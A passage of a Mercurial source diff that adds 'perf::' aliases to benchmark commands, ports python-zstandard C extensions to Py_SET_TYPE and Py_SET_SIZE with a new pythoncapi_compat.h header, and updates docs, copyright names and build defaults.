b'clear-disk', False, b'clear on-disk caches too'), @@ -1499,7 +1505,7 @@ fm.end() -@command(b'perfchangeset', formatteropts) +@command(b'perf::changeset|perfchangeset', formatteropts) def perfchangeset(ui, repo, rev, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -1513,7 +1519,7 @@ fm.end() -@command(b'perfignore', formatteropts) +@command(b'perf::ignore|perfignore', formatteropts) def perfignore(ui, repo, **opts): """benchmark operation related to computing ignore""" opts = _byteskwargs(opts) @@ -1532,7 +1538,7 @@ @command( - b'perfindex', + b'perf::index|perfindex', [ (b'', b'rev', [], b'revision to be looked up (default tip)'), (b'', b'no-lookup', None, b'do not revision lookup post creation'), @@ -1596,7 +1602,7 @@ @command( - b'perfnodemap', + b'perf::nodemap|perfnodemap', [ (b'', b'rev', [], b'revision to be looked up (default tip)'), (b'', b'clear-caches', True, b'clear revlog cache between calls'), @@ -1667,7 +1673,7 @@ fm.end() -@command(b'perfstartup', formatteropts) +@command(b'perf::startup|perfstartup', formatteropts) def perfstartup(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -1685,7 +1691,7 @@ fm.end() -@command(b'perfparents', formatteropts) +@command(b'perf::parents|perfparents', formatteropts) def perfparents(ui, repo, **opts): """benchmark the time necessary to fetch one changeset's parents. @@ -1712,7 +1718,7 @@ fm.end() -@command(b'perfctxfiles', formatteropts) +@command(b'perf::ctxfiles|perfctxfiles', formatteropts) def perfctxfiles(ui, repo, x, **opts): opts = _byteskwargs(opts) x = int(x) @@ -1725,7 +1731,7 @@ fm.end() -@command(b'perfrawfiles', formatteropts) +@command(b'perf::rawfiles|perfrawfiles', formatteropts) def perfrawfiles(ui, repo, x, **opts): opts = _byteskwargs(opts) x = int(x) @@ -1739,7 +1745,7 @@ fm.end() -@command(b'perflookup', formatteropts) +@command(b'perf::lookup|perflookup', formatteropts) def perflookup(ui, repo, rev, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -1748,7 +1754,7 @@ @command( - b'perflinelogedits', + b'perf::linelogedits|perflinelogedits', [ (b'n', b'edits', 10000, b'number of edits'), (b'', b'max-hunk-lines', 10, b'max lines in a hunk'), @@ -1786,7 +1792,7 @@ fm.end() -@command(b'perfrevrange', formatteropts) +@command(b'perf::revrange|perfrevrange', formatteropts) def perfrevrange(ui, repo, *specs, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -1795,7 +1801,7 @@ fm.end() -@command(b'perfnodelookup', formatteropts) +@command(b'perf::nodelookup|perfnodelookup', formatteropts) def perfnodelookup(ui, repo, rev, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -1814,7 +1820,7 @@ @command( - b'perflog', + b'perf::log|perflog', [(b'', b'rename', False, b'ask log to follow renames')] + formatteropts, ) def perflog(ui, repo, rev=None, **opts): @@ -1832,7 +1838,7 @@ fm.end() -@command(b'perfmoonwalk', formatteropts) +@command(b'perf::moonwalk|perfmoonwalk', formatteropts) def perfmoonwalk(ui, repo, **opts): """benchmark walking the changelog backwards @@ -1851,7 +1857,7 @@ @command( - b'perftemplating', + b'perf::templating|perftemplating', [ (b'r', b'rev', [], b'revisions to run the template on'), ] @@ -1941,7 +1947,7 @@ @command( - b'perfhelper-mergecopies', + b'perf::helper-mergecopies|perfhelper-mergecopies', formatteropts + [ (b'r', b'revs', [], b'restrict search to these revisions'), @@ -2124,7 +2130,7 @@ @command( - b'perfhelper-pathcopies', + b'perf::helper-pathcopies|perfhelper-pathcopies', formatteropts + [ (b'r', b'revs', [], b'restrict search to these revisions'), @@ -2263,7 +2269,7 @@ _displaystats(ui, opts, entries, alldata) -@command(b'perfcca', formatteropts) +@command(b'perf::cca|perfcca', formatteropts) def perfcca(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -2271,7 +2277,7 @@ fm.end() -@command(b'perffncacheload', formatteropts) +@command(b'perf::fncacheload|perffncacheload', formatteropts) def perffncacheload(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -2284,7 +2290,7 @@ fm.end() -@command(b'perffncachewrite', formatteropts) +@command(b'perf::fncachewrite|perffncachewrite', formatteropts) def perffncachewrite(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -2304,7 +2310,7 @@ fm.end() -@command(b'perffncacheencode', formatteropts) +@command(b'perf::fncacheencode|perffncacheencode', formatteropts) def perffncacheencode(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -2348,7 +2354,7 @@ @command( - b'perfbdiff', + b'perf::bdiff|perfbdiff', revlogopts + formatteropts + [ @@ -2464,7 +2470,7 @@ @command( - b'perfunidiff', + b'perf::unidiff|perfunidiff', revlogopts + formatteropts + [ @@ -2543,7 +2549,7 @@ fm.end() -@command(b'perfdiffwd', formatteropts) +@command(b'perf::diffwd|perfdiffwd', formatteropts) def perfdiffwd(ui, repo, **opts): """Profile diff of working directory changes""" opts = _byteskwargs(opts) @@ -2568,7 +2574,11 @@ fm.end() -@command(b'perfrevlogindex', revlogopts + formatteropts, b'-c|-m|FILE') +@command( + b'perf::revlogindex|perfrevlogindex', + revlogopts + formatteropts, + b'-c|-m|FILE', +) def perfrevlogindex(ui, repo, file_=None, **opts): """Benchmark operations against a revlog index. @@ -2704,7 +2714,7 @@ @command( - b'perfrevlogrevisions', + b'perf::revlogrevisions|perfrevlogrevisions', revlogopts + formatteropts + [ @@ -2754,7 +2764,7 @@ @command( - b'perfrevlogwrite', + b'perf::revlogwrite|perfrevlogwrite', revlogopts + formatteropts + [ @@ -3047,7 +3057,7 @@ @command( - b'perfrevlogchunks', + b'perf::revlogchunks|perfrevlogchunks', revlogopts + formatteropts + [ @@ -3176,7 +3186,7 @@ @command( - b'perfrevlogrevision', + b'perf::revlogrevision|perfrevlogrevision', revlogopts + formatteropts + [(b'', b'cache', False, b'use caches instead of clearing')], @@ -3218,7 +3228,10 @@ start = r.start length = r.length inline = r._inline - iosize = r._io.size + try: + iosize = r.index.entry_size + except AttributeError: + iosize = r._io.size buffer = util.buffer chunks = [] @@ -3319,7 +3332,7 @@ @command( - b'perfrevset', + b'perf::revset|perfrevset', [ (b'C', b'clear', False, b'clear volatile cache between each call.'), (b'', b'contexts', False, b'obtain changectx for each revision'), @@ -3352,7 +3365,7 @@ @command( - b'perfvolatilesets', + b'perf::volatilesets|perfvolatilesets', [ (b'', b'clear-obsstore', False, b'drop obsstore between each call.'), ] @@ -3401,7 +3414,7 @@ @command( - b'perfbranchmap', + b'perf::branchmap|perfbranchmap', [ (b'f', b'full', False, b'Includes build time of subset'), ( @@ -3492,7 +3505,7 @@ @command( - b'perfbranchmapupdate', + b'perf::branchmapupdate|perfbranchmapupdate', [ (b'', b'base', [], b'subset of revision to start from'), (b'', b'target', [], b'subset of revision to end with'), @@ -3602,7 +3615,7 @@ @command( - b'perfbranchmapload', + b'perf::branchmapload|perfbranchmapload', [ (b'f', b'filter', b'', b'Specify repoview filter'), (b'', b'list', False, b'List brachmap filter caches'), @@ -3661,19 +3674,19 @@ fm.end() -@command(b'perfloadmarkers') +@command(b'perf::loadmarkers|perfloadmarkers') def perfloadmarkers(ui, repo): """benchmark the time to parse the on-disk markers for a repo Result is the number of markers in the repo.""" timer, fm = gettimer(ui) svfs = getsvfs(repo) - timer(lambda: len(obsolete.obsstore(svfs))) + timer(lambda: len(obsolete.obsstore(repo, svfs))) fm.end() @command( - b'perflrucachedict', + b'perf::lrucachedict|perflrucachedict', formatteropts + [ (b'', b'costlimit', 0, b'maximum total cost of items in cache'), @@ -3829,7 +3842,7 @@ @command( - b'perfwrite', + b'perf::write|perfwrite', formatteropts + [ (b'', b'write-method', b'write', b'ui write method'), @@ -3892,7 +3905,7 @@ @command( - b'perfprogress', + b'perf::progress|perfprogress', formatteropts + [ (b'', b'topic', b'topic', b'topic for progress messages'), diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/bufferutil.c --- a/contrib/python-zstandard/c-ext/bufferutil.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/bufferutil.c Tue Apr 20 11:01:06 2021 -0400 @@ -758,7 +758,7 @@ }; void bufferutil_module_init(PyObject* mod) { - Py_TYPE(&ZstdBufferWithSegmentsType) = &PyType_Type; + Py_SET_TYPE(&ZstdBufferWithSegmentsType, &PyType_Type); if (PyType_Ready(&ZstdBufferWithSegmentsType) < 0) { return; } @@ -766,7 +766,7 @@ Py_INCREF(&ZstdBufferWithSegmentsType); PyModule_AddObject(mod, "BufferWithSegments", (PyObject*)&ZstdBufferWithSegmentsType); - Py_TYPE(&ZstdBufferSegmentsType) = &PyType_Type; + Py_SET_TYPE(&ZstdBufferSegmentsType, &PyType_Type); if (PyType_Ready(&ZstdBufferSegmentsType) < 0) { return; } @@ -774,7 +774,7 @@ Py_INCREF(&ZstdBufferSegmentsType); PyModule_AddObject(mod, "BufferSegments", (PyObject*)&ZstdBufferSegmentsType); - Py_TYPE(&ZstdBufferSegmentType) = &PyType_Type; + Py_SET_TYPE(&ZstdBufferSegmentType, &PyType_Type); if (PyType_Ready(&ZstdBufferSegmentType) < 0) { return; } @@ -782,7 +782,7 @@ Py_INCREF(&ZstdBufferSegmentType); PyModule_AddObject(mod, "BufferSegment", (PyObject*)&ZstdBufferSegmentType); - Py_TYPE(&ZstdBufferWithSegmentsCollectionType) = &PyType_Type; + Py_SET_TYPE(&ZstdBufferWithSegmentsCollectionType, &PyType_Type); if (PyType_Ready(&ZstdBufferWithSegmentsCollectionType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressionchunker.c --- a/contrib/python-zstandard/c-ext/compressionchunker.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressionchunker.c Tue Apr 20 11:01:06 2021 -0400 @@ -348,12 +348,12 @@ }; void compressionchunker_module_init(PyObject* module) { - Py_TYPE(&ZstdCompressionChunkerIteratorType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressionChunkerIteratorType, &PyType_Type); if (PyType_Ready(&ZstdCompressionChunkerIteratorType) < 0) { return; } - Py_TYPE(&ZstdCompressionChunkerType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressionChunkerType, &PyType_Type); if (PyType_Ready(&ZstdCompressionChunkerType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressiondict.c --- a/contrib/python-zstandard/c-ext/compressiondict.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressiondict.c Tue Apr 20 11:01:06 2021 -0400 @@ -400,7 +400,7 @@ }; void compressiondict_module_init(PyObject* mod) { - Py_TYPE(&ZstdCompressionDictType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressionDictType, &PyType_Type); if (PyType_Ready(&ZstdCompressionDictType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressionparams.c --- a/contrib/python-zstandard/c-ext/compressionparams.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressionparams.c Tue Apr 20 11:01:06 2021 -0400 @@ -556,7 +556,7 @@ }; void compressionparams_module_init(PyObject* mod) { - Py_TYPE(&ZstdCompressionParametersType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressionParametersType, &PyType_Type); if (PyType_Ready(&ZstdCompressionParametersType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressionreader.c --- a/contrib/python-zstandard/c-ext/compressionreader.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressionreader.c Tue Apr 20 11:01:06 2021 -0400 @@ -811,7 +811,7 @@ void compressionreader_module_init(PyObject* mod) { /* TODO make reader a sub-class of io.RawIOBase */ - Py_TYPE(&ZstdCompressionReaderType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressionReaderType, &PyType_Type); if (PyType_Ready(&ZstdCompressionReaderType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressionwriter.c --- a/contrib/python-zstandard/c-ext/compressionwriter.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressionwriter.c Tue Apr 20 11:01:06 2021 -0400 @@ -365,7 +365,7 @@ }; void compressionwriter_module_init(PyObject* mod) { - Py_TYPE(&ZstdCompressionWriterType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressionWriterType, &PyType_Type); if (PyType_Ready(&ZstdCompressionWriterType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressobj.c --- a/contrib/python-zstandard/c-ext/compressobj.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressobj.c Tue Apr 20 11:01:06 2021 -0400 @@ -249,7 +249,7 @@ }; void compressobj_module_init(PyObject* module) { - Py_TYPE(&ZstdCompressionObjType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressionObjType, &PyType_Type); if (PyType_Ready(&ZstdCompressionObjType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressor.c --- a/contrib/python-zstandard/c-ext/compressor.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressor.c Tue Apr 20 11:01:06 2021 -0400 @@ -619,7 +619,7 @@ goto finally; } - Py_SIZE(output) = outBuffer.pos; + Py_SET_SIZE(output, outBuffer.pos); finally: PyBuffer_Release(&source); @@ -1659,7 +1659,7 @@ }; void compressor_module_init(PyObject* mod) { - Py_TYPE(&ZstdCompressorType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressorType, &PyType_Type); if (PyType_Ready(&ZstdCompressorType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/compressoriterator.c --- a/contrib/python-zstandard/c-ext/compressoriterator.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/compressoriterator.c Tue Apr 20 11:01:06 2021 -0400 @@ -228,7 +228,7 @@ }; void compressoriterator_module_init(PyObject* mod) { - Py_TYPE(&ZstdCompressorIteratorType) = &PyType_Type; + Py_SET_TYPE(&ZstdCompressorIteratorType, &PyType_Type); if (PyType_Ready(&ZstdCompressorIteratorType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/decompressionreader.c --- a/contrib/python-zstandard/c-ext/decompressionreader.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/decompressionreader.c Tue Apr 20 11:01:06 2021 -0400 @@ -774,7 +774,7 @@ void decompressionreader_module_init(PyObject* mod) { /* TODO make reader a sub-class of io.RawIOBase */ - Py_TYPE(&ZstdDecompressionReaderType) = &PyType_Type; + Py_SET_TYPE(&ZstdDecompressionReaderType, &PyType_Type); if (PyType_Ready(&ZstdDecompressionReaderType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/decompressionwriter.c --- a/contrib/python-zstandard/c-ext/decompressionwriter.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/decompressionwriter.c Tue Apr 20 11:01:06 2021 -0400 @@ -288,7 +288,7 @@ }; void decompressionwriter_module_init(PyObject* mod) { - Py_TYPE(&ZstdDecompressionWriterType) = &PyType_Type; + Py_SET_TYPE(&ZstdDecompressionWriterType, &PyType_Type); if (PyType_Ready(&ZstdDecompressionWriterType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/decompressobj.c --- a/contrib/python-zstandard/c-ext/decompressobj.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/decompressobj.c Tue Apr 20 11:01:06 2021 -0400 @@ -195,7 +195,7 @@ }; void decompressobj_module_init(PyObject* module) { - Py_TYPE(&ZstdDecompressionObjType) = &PyType_Type; + Py_SET_TYPE(&ZstdDecompressionObjType, &PyType_Type); if (PyType_Ready(&ZstdDecompressionObjType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/decompressor.c --- a/contrib/python-zstandard/c-ext/decompressor.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/decompressor.c Tue Apr 20 11:01:06 2021 -0400 @@ -1811,7 +1811,7 @@ }; void decompressor_module_init(PyObject* mod) { - Py_TYPE(&ZstdDecompressorType) = &PyType_Type; + Py_SET_TYPE(&ZstdDecompressorType, &PyType_Type); if (PyType_Ready(&ZstdDecompressorType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/decompressoriterator.c --- a/contrib/python-zstandard/c-ext/decompressoriterator.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/decompressoriterator.c Tue Apr 20 11:01:06 2021 -0400 @@ -242,7 +242,7 @@ }; void decompressoriterator_module_init(PyObject* mod) { - Py_TYPE(&ZstdDecompressorIteratorType) = &PyType_Type; + Py_SET_TYPE(&ZstdDecompressorIteratorType, &PyType_Type); if (PyType_Ready(&ZstdDecompressorIteratorType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/frameparams.c --- a/contrib/python-zstandard/c-ext/frameparams.c Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/frameparams.c Tue Apr 20 11:01:06 2021 -0400 @@ -128,7 +128,7 @@ }; void frameparams_module_init(PyObject* mod) { - Py_TYPE(&FrameParametersType) = &PyType_Type; + Py_SET_TYPE(&FrameParametersType, &PyType_Type); if (PyType_Ready(&FrameParametersType) < 0) { return; } diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/c-ext/python-zstandard.h --- a/contrib/python-zstandard/c-ext/python-zstandard.h Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/python-zstandard/c-ext/python-zstandard.h Tue Apr 20 11:01:06 2021 -0400 @@ -9,6 +9,7 @@ #define PY_SSIZE_T_CLEAN #include #include "structmember.h" +#include #define ZSTD_STATIC_LINKING_ONLY #define ZDICT_STATIC_LINKING_ONLY diff -r bc268ea9f984 -r f67b8946bb1b contrib/python-zstandard/zstd/common/pythoncapi_compat.h --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/contrib/python-zstandard/zstd/common/pythoncapi_compat.h Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,283 @@ +// Header file providing new functions of the Python C API to old Python +// versions. +// +// File distributed under the MIT license. +// +// Homepage: +// https://github.com/pythoncapi/pythoncapi_compat +// +// Latest version: +// https://raw.githubusercontent.com/pythoncapi/pythoncapi_compat/master/pythoncapi_compat.h + +#ifndef PYTHONCAPI_COMPAT +#define PYTHONCAPI_COMPAT + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "frameobject.h" // PyFrameObject, PyFrame_GetBack() + + +/* VC 2008 doesn't know about the inline keyword. */ +#if defined(_MSC_VER) && _MSC_VER < 1900 +#define inline __forceinline +#endif + +// Cast argument to PyObject* type. +#ifndef _PyObject_CAST +# define _PyObject_CAST(op) ((PyObject*)(op)) +#endif + + +// bpo-42262 added Py_NewRef() to Python 3.10.0a3 +#if PY_VERSION_HEX < 0x030a00A3 && !defined(Py_NewRef) +static inline PyObject* _Py_NewRef(PyObject *obj) +{ + Py_INCREF(obj); + return obj; +} +#define Py_NewRef(obj) _Py_NewRef(_PyObject_CAST(obj)) +#endif + + +// bpo-42262 added Py_XNewRef() to Python 3.10.0a3 +#if PY_VERSION_HEX < 0x030a00A3 && !defined(Py_XNewRef) +static inline PyObject* _Py_XNewRef(PyObject *obj) +{ + Py_XINCREF(obj); + return obj; +} +#define Py_XNewRef(obj) _Py_XNewRef(_PyObject_CAST(obj)) +#endif + + +// bpo-39573 added Py_SET_REFCNT() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_REFCNT) +static inline void _Py_SET_REFCNT(PyObject *ob, Py_ssize_t refcnt) +{ + ob->ob_refcnt = refcnt; +} +#define Py_SET_REFCNT(ob, refcnt) _Py_SET_REFCNT((PyObject*)(ob), refcnt) +#endif + + +// bpo-39573 added Py_SET_TYPE() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_TYPE) +static inline void +_Py_SET_TYPE(PyObject *ob, PyTypeObject *type) +{ + ob->ob_type = type; +} +#define Py_SET_TYPE(ob, type) _Py_SET_TYPE((PyObject*)(ob), type) +#endif + + +// bpo-39573 added Py_SET_SIZE() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_SIZE) +static inline void +_Py_SET_SIZE(PyVarObject *ob, Py_ssize_t size) +{ + ob->ob_size = size; +} +#define Py_SET_SIZE(ob, size) _Py_SET_SIZE((PyVarObject*)(ob), size) +#endif + + +// bpo-40421 added PyFrame_GetCode() to Python 3.9.0b1 +#if PY_VERSION_HEX < 0x030900B1 +static inline PyCodeObject* +PyFrame_GetCode(PyFrameObject *frame) +{ + PyCodeObject *code; + assert(frame != NULL); + code = frame->f_code; + assert(code != NULL); + Py_INCREF(code); + return code; +} +#endif + +static inline PyCodeObject* +_PyFrame_GetCodeBorrow(PyFrameObject *frame) +{ + PyCodeObject *code = PyFrame_GetCode(frame); + Py_DECREF(code); + return code; // borrowed reference +} + + +// bpo-40421 added PyFrame_GetCode() to Python 3.9.0b1 +#if PY_VERSION_HEX < 0x030900B1 +static inline PyFrameObject* +PyFrame_GetBack(PyFrameObject *frame) +{ + PyFrameObject *back; + assert(frame != NULL); + back = frame->f_back; + Py_XINCREF(back); + return back; +} +#endif + +static inline PyFrameObject* +_PyFrame_GetBackBorrow(PyFrameObject *frame) +{ + PyFrameObject *back = PyFrame_GetBack(frame); + Py_XDECREF(back); + return back; // borrowed reference +} + + +// bpo-39947 added PyThreadState_GetInterpreter() to Python 3.9.0a5 +#if PY_VERSION_HEX < 0x030900A5 +static inline PyInterpreterState * +PyThreadState_GetInterpreter(PyThreadState *tstate) +{ + assert(tstate != NULL); + return tstate->interp; +} +#endif + + +// bpo-40429 added PyThreadState_GetFrame() to Python 3.9.0b1 +#if PY_VERSION_HEX < 0x030900B1 +static inline PyFrameObject* +PyThreadState_GetFrame(PyThreadState *tstate) +{ + PyFrameObject *frame; + assert(tstate != NULL); + frame = tstate->frame; + Py_XINCREF(frame); + return frame; +} +#endif + +static inline PyFrameObject* +_PyThreadState_GetFrameBorrow(PyThreadState *tstate) +{ + PyFrameObject *frame = PyThreadState_GetFrame(tstate); + Py_XDECREF(frame); + return frame; // borrowed reference +} + + +// bpo-39947 added PyInterpreterState_Get() to Python 3.9.0a5 +#if PY_VERSION_HEX < 0x030900A5 +static inline PyInterpreterState * +PyInterpreterState_Get(void) +{ + PyThreadState *tstate; + PyInterpreterState *interp; + + tstate = PyThreadState_GET(); + if (tstate == NULL) { + Py_FatalError("GIL released (tstate is NULL)"); + } + interp = tstate->interp; + if (interp == NULL) { + Py_FatalError("no current interpreter"); + } + return interp; +} +#endif + + +// bpo-39947 added PyInterpreterState_Get() to Python 3.9.0a6 +#if 0x030700A1 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x030900A6 +static inline uint64_t +PyThreadState_GetID(PyThreadState *tstate) +{ + assert(tstate != NULL); + return tstate->id; +} +#endif + + +// bpo-37194 added PyObject_CallNoArgs() to Python 3.9.0a1 +#if PY_VERSION_HEX < 0x030900A1 +static inline PyObject* +PyObject_CallNoArgs(PyObject *func) +{ + return PyObject_CallFunctionObjArgs(func, NULL); +} +#endif + + +// bpo-39245 made PyObject_CallOneArg() public (previously called +// _PyObject_CallOneArg) in Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 +static inline PyObject* +PyObject_CallOneArg(PyObject *func, PyObject *arg) +{ + return PyObject_CallFunctionObjArgs(func, arg, NULL); +} +#endif + + +// bpo-40024 added PyModule_AddType() to Python 3.9.0a5 +#if PY_VERSION_HEX < 0x030900A5 +static inline int +PyModule_AddType(PyObject *module, PyTypeObject *type) +{ + const char *name, *dot; + + if (PyType_Ready(type) < 0) { + return -1; + } + + // inline _PyType_Name() + name = type->tp_name; + assert(name != NULL); + dot = strrchr(name, '.'); + if (dot != NULL) { + name = dot + 1; + } + + Py_INCREF(type); + if (PyModule_AddObject(module, name, (PyObject *)type) < 0) { + Py_DECREF(type); + return -1; + } + + return 0; +} +#endif + + +// bpo-40241 added PyObject_GC_IsTracked() to Python 3.9.0a6. +// bpo-4688 added _PyObject_GC_IS_TRACKED() to Python 2.7.0a2. +#if PY_VERSION_HEX < 0x030900A6 +static inline int +PyObject_GC_IsTracked(PyObject* obj) +{ + return (PyObject_IS_GC(obj) && _PyObject_GC_IS_TRACKED(obj)); +} +#endif + +// bpo-40241 added PyObject_GC_IsFinalized() to Python 3.9.0a6. +// bpo-18112 added _PyGCHead_FINALIZED() to Python 3.4.0 final. +#if PY_VERSION_HEX < 0x030900A6 && PY_VERSION_HEX >= 0x030400F0 +static inline int +PyObject_GC_IsFinalized(PyObject *obj) +{ + return (PyObject_IS_GC(obj) && _PyGCHead_FINALIZED((PyGC_Head *)(obj)-1)); +} +#endif + + +// bpo-39573 added Py_IS_TYPE() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_IS_TYPE) +static inline int +_Py_IS_TYPE(const PyObject *ob, const PyTypeObject *type) { + return ob->ob_type == type; +} +#define Py_IS_TYPE(ob, type) _Py_IS_TYPE((const PyObject*)(ob), type) +#endif + + +#ifdef __cplusplus +} +#endif +#endif // PYTHONCAPI_COMPAT diff -r bc268ea9f984 -r f67b8946bb1b contrib/win32/ReadMe.html --- a/contrib/win32/ReadMe.html Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/win32/ReadMe.html Tue Apr 20 11:01:06 2021 -0400 @@ -140,7 +140,7 @@

- Mercurial is Copyright 2005-2021 Matt Mackall and others. + Mercurial is Copyright 2005-2021 Olivia Mackall and others.

diff -r bc268ea9f984 -r f67b8946bb1b contrib/win32/hg.bat --- a/contrib/win32/hg.bat Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/win32/hg.bat Tue Apr 20 11:01:06 2021 -0400 @@ -4,6 +4,8 @@ setlocal set HG=%~f0 +set PYTHONLEGACYWINDOWSSTDIO=1 + rem Use a full path to Python (relative to this script) if it exists, rem as the standard Python install does not put python.exe on the PATH... rem Otherwise, expect that python.exe can be found on the PATH. diff -r bc268ea9f984 -r f67b8946bb1b doc/Makefile --- a/doc/Makefile Thu Mar 25 19:06:28 2021 -0400 +++ b/doc/Makefile Tue Apr 20 11:01:06 2021 -0400 @@ -6,7 +6,14 @@ PREFIX=/usr/local MANDIR=$(PREFIX)/share/man INSTALL=install -m 644 -PYTHON?=python +# Default to Python 3. +# +# Windows ships Python 3 as `python.exe`, which may not be on PATH. py.exe is. +ifeq ($(OS),Windows_NT) +PYTHON?=py -3 +else +PYTHON?=python3 +endif RSTARGS= export HGENCODING=UTF-8 diff -r bc268ea9f984 -r f67b8946bb1b doc/gendoc.py --- a/doc/gendoc.py Thu Mar 25 19:06:28 2021 -0400 +++ b/doc/gendoc.py Tue Apr 20 11:01:06 2021 -0400 @@ -31,6 +31,7 @@ commands, encoding, extensions, + fancyopts, help, minirst, pycompat, @@ -86,6 +87,8 @@ if b'\n' in desc: # only remove line breaks and indentation desc = b' '.join(l.lstrip() for l in desc.split(b'\n')) + if isinstance(default, fancyopts.customopt): + default = default.getdefaultvalue() if default: default = stringutil.forcebytestr(default) desc += _(b" (default: %s)") % default @@ -314,7 +317,12 @@ ui.write(b"\n") # aliases if d[b'aliases']: - ui.write(_(b" aliases: %s\n\n") % b" ".join(d[b'aliases'])) + # Note the empty comment, this is required to separate this + # (which should be a blockquote) from any preceding things (such + # as a definition list). + ui.write( + _(b"..\n\n aliases: %s\n\n") % b" ".join(d[b'aliases']) + ) def allextensionnames(): @@ -327,6 +335,11 @@ doc = encoding.strtolocal(sys.argv[1]) ui = uimod.ui.load() + # Trigger extensions to load. This is disabled by default because it uses + # the current user's configuration, which is often not what is wanted. + if encoding.environ.get(b'GENDOC_LOAD_CONFIGURED_EXTENSIONS', b'0') != b'0': + extensions.loadall(ui) + if doc == b'hg.1.gendoc': showdoc(ui) else: diff -r bc268ea9f984 -r f67b8946bb1b doc/runrst --- a/doc/runrst Thu Mar 25 19:06:28 2021 -0400 +++ b/doc/runrst Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # runrst - register custom roles and run correct writer # -# Copyright 2010 Matt Mackall and others +# Copyright 2010 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hg --- a/hg Thu Mar 25 19:06:28 2021 -0400 +++ b/hg Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # mercurial - scalable distributed SCM # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgdemandimport/demandimportpy2.py --- a/hgdemandimport/demandimportpy2.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgdemandimport/demandimportpy2.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # demandimport.py - global demand-loading of modules for Mercurial # -# 